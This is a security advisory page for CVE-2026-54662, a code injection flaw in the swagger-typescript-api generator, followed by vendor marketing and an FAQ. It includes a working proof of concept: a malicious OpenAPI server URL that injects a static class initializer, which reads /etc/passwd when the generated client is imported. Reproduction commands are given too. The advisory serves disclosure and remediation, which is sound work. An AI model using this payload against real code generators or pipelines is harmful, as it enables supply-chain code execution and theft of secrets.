Summary
swagger-typescript-api vulnerable to code injection via unescaped servers[0].url in fetch http-client template
swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding class body to injection. The most direct exploit declares a new static field whose initializer is an async IIFE, TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction, no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.
This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.
Details
createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:
return {
...
baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw
...
};
The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "<%~ apiConfig.baseUrl %>";
private securityData: SecurityDataType | null = null;
...
}
<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function, escapeJSDocContent (src/schema-parser/schema-formatters.ts:127), only replaces */ and is not applied to this path.
TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:
URL"; static _pwn = (IIFE)(); public x: string = "
produces the following class body:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "URL";
static _pwn = (IIFE)(); // <-- static field initializer
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}
The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition, i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.
The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization, no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on [email protected] and Node v24.11.1.
Malicious servers[0].url (literal string, JSON-encoded in the spec below):
https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install [email protected] esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (HttpClient class body, payload, Biome-formatted):
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "https://api.example.com";
static _pwn = (async () => {
try {
const fs = await import("node:fs");
const data = fs.readFileSync("/etc/passwd", "utf8");
fs.writeFileSync("/tmp/sta_canary", data);
} catch (e) {}
})();
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}
static _pwn = (async () => { ... })() is a real TypeScript static class field declaration, Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.
Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.
Submitted by: Hamza Haroon (thegr1ffyn)
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json, a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR.
Lifecycle: the injected static initializer fires at module load, the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.
Privilege: the IIFE runs with the full privileges of the importing process, read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.
Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),
where escapeJsStringLiteral produces a properly-escaped JS string literal, at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.
If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form, fixing only one leaves the other exploitable.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-54662 has a CVSS score of 8.3 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (13.12.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54662? CVE-2026-54662 is a high-severity code injection vulnerability in swagger-typescript-api (npm), affecting versions <= 13.12.1. It is fixed in 13.12.2. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-54662? CVE-2026-54662 has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of swagger-typescript-api are affected by CVE-2026-54662? swagger-typescript-api (npm) versions <= 13.12.1 is affected.
- Is there a fix for CVE-2026-54662? Yes. CVE-2026-54662 is fixed in 13.12.2. Upgrade to this version or later.
- Is CVE-2026-54662 exploitable, and should I be worried? Whether CVE-2026-54662 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54662 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54662? Upgrade
swagger-typescript-apito 13.12.2 or later.